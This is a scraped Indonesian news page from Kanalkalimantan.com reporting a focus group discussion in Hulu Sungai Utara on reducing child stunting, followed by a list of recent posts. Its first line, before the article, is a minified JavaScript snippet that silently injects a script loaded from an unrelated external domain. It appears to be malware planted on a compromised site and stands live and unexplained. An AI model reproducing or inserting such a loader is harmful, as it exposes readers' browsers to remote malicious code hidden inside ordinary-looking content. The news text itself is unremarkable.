(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

FGD Optimalisasi Intervensi Penurunan Stunting


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar kegiatan Fokus Group Discussion (FDG) bertema “Optimalisasi Intervensi Penurunan Stunting Tepat Sasaran” di Kabupaten HSU, bertempat di Mess Negara Dipa, Selasa (22/10/2024).

Masih tinggi angka pervalensi stunting di Kabupaten HSU dan pelaksanaan program percepatan penurunan stunting menuju Indonesia Emas 2045 menjadi latarbelakang diadakan kegiatan FGD.

Penjabat (Pj) Bupati HSU melalui Staf Ahli Bidang Pembangunan Kemasyarakatan dan SDM, Taberani menyampaikan bahwa sebagai upaya percepatan konstan kegiatan ini diharapkan dapat memberikan kesamaan pandangan dan menunjukkan langkah-langkah efektif dalam melakukan intervensi terhadap stunting di Kabupaten HSU.

“Kita menyadari bahwa stunting merupakan isu nasional yang menjadi tugas dan kewajiban kita bersama untuk menurunkan tingginya stunting secara nasional,” katanya.

Baca juga: Modus ‘Juru Parkir’ MSR Curi Dua Mobil di Kampus ULM Banjarbaru

Dia mengajak semua pemangku kepentingan, semua pihak agar bersama-sama mampu menurunkan angka stunting di mana hal ini menjadi salah satu indikator kesuksesan, keberhasilan dalam pembangunan di daerah.

“Mari kita bersama-sama mencegah stunting di Kabupaten Hulu Sungai Utara,” ajaknya.

Sementara itu, Kepala Perwakilan Badan Pengawas Keuangan dan Pembangunan (BPKP) Provinsi Kalimantan Selatan, Ayi Riyanto saat menjadi pembicara mendorong semua pihak agar dapat mengintervensi stunting melalui program penekanan faktor resiko, salah satunya adalah menyeimbangkan pola makan.

“Pola makannya tidak berimbang, maka stuntingnya tinggi,” kata Ayi Riyanto.

Baca juga: Nasib Pegunungan Meratus Era Menteri LH Baru dan Janji Prabowo-Gibran

Dirinya berharap melalui alokasi pengelolaan dana desa, APBD kabupaten/kota, APBD provinsi, APBN dan Corporate Sosial Responsibility (CSR) dapat benar-benar dimanfaatkan secara optimal untuk membantu persoalan pencegahan stunting.

Hadir dalam kegiatan ini, Kepala Perwakilan BKKBN Provinsi Kalimantan Selatan, Kepala Dinas Kesehatan Kabupaten HSU, Kepala DPPKB HSU, Kepala DPMD HSU, Inspektur Kabupaten HSU serta stek holder terkait lainnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

4 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

6 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

9 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

11 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

12 jam ago